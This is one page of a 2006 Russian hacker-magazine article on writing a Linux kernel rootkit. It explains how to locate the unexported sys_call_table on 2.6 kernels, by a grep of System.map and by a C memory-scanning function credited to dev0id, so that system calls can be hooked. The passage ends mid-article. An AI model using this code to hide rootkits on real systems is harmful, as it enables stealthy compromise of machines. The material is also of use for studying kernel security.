Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #96, ДЕКАБРЬ 2006 г.

Пишем руткит нового поколения

Иван Скляров

Хакер, номер #096, стр. 096-120-2


Если ты не знаком с программированием модулей ядра Linux, то настоятельно советую прочитать соответствующую литературу, например «The Linux Kernel Module Programming Guide» (www.tldp.org). По адресу www.opennet.ru/docs/RUS/lkmpg26 расположен этого руководства перевод на русский язык.

Самый большой недостаток всех ядерных руткитов заключается в том, что программисты ядер не обеспечивают обратную совместимость, в результате чего модульный код, написанный для одной версии ядра, может не работать в другой версии. Например, код для ядра 2.6.0 может уже не работать в версии 2.6.12 и тем более - в версии 2.4.2. Поэтому для гарантии работы руткитов их нужно тестировать на различных версиях ядер. Я тестировал все примеры только на ядре 2.6.12 в Mandriva 2006 PowerPack.

Таблица системных вызовов

Начиная с ядер версии 2.5.41, официальные разработчики «сделали финт ушами», установив запрет на экспорт таблицы системных вызовов sys_call_table, в результате чего простая подмена системных вызовов, которая использовалась в руткитах под более ранние ядра, в этих ядрах не работает. Но хакерами были найдены способы получения адреса sys_call_table:

Первый способ. Он описан в электронном журнале Phrack #58 в статье «Linux on-the-fly kernel patching without LKM». Он зависит от текущей платформы и алгоритмически сложен.

Второй способ. Адрес таблицы можно найти простым поиском в файле /boot/System.map, например:

# grep sys_call_table /boot/System.map

c03ce760 D sys_call_table

Теперь в модуле можно сделать присваивания следующего вида:

unsigned long *sys_call_table;

*(long *)&sys_call_table=0xc03ce760;

И далее осуществлять подмену обычным образом, как в ядрах версии 2.4.x. В своем модуле ты можешь встроить функцию, которая открывала бы файл /boot/System.map и самостоятельно находила в нем адрес sys_call_table.

Третий способ. Его придумал и описал (с исходным кодом) в статье «Защита от исполнения в стеке (ОС Линукс)» российский хакер dev0id из UkR Security Team. Ищи эту статью на www.ustsecurity.info.

Далее во всех модулях, где требуется подмена вызовов, мы задействуем способ dev0id. Ниже показана функция из его статьи, которая самостоятельно находит адрес таблицы системных вызовов. Ее мы и будем использовать.

void find_sys_call_table(void)

{

unsigned long arr[4], *ptr;

int i;

/* получаем указатель на конец секции кода */

ptr = (unsigned long *)((init_mm.end_code + 4) & 0xfffffffc);

/* начинаем поиск до конца секции данных */

while(ptr < init_mm.end_data) {

/* если нашли адрес sys_close */

if (*ptr == (unsigned long *)sys_close) {

for(i = 0; i < 4; i++) {

arr[i] = *(ptr + i);

arr[i] = (arr[i] >> 16) & 0x0000ffff;

}

/* действительно ли адрес в таблице */

if(arr[0] != arr[2] || arr[1] != arr[3]) {

/* находим адрес таблицы системных вызовов */

sys_call_table = (ptr - __NR_close);

break;

}

}

ptr++;

}

}

Чтобы данная функция заработала, необходимо также определить глобальную переменную:

Назад на стр. 096-120-1  Содержание  Вперед на стр. 096-120-3